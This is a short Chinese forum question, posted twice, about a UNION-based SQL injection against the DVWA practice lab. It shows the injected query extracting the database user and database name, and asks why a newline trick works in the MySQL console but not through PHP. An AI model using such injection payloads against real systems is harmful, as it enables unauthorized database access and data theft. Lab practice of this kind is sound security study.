mysql> select user,password from users where user_id=-1 union select user(),database() from\nusers;
PAGER set to stdout | |
---|---|
user | password |
+----------------+----------+ | |
root@localhost | dvwa |
1 row in set (0.00 sec)
想通过加\n能取出数据,在mysql下执行会得到。但是在php中执行,外部接受这个\n参数再执行却取不到,求解,是什么问题?
mysql> select user,password from users where user_id=-1 union select user(),database() from\nusers;
PAGER set to stdout | |
---|---|
user | password |
+----------------+----------+ | |
root@localhost | dvwa |
1 row in set (0.00 sec)
想通过加\n能取出数据,在mysql下执行会得到。但是在php中执行,外部接受这个\n参数再执行却取不到,求解,是什么问题?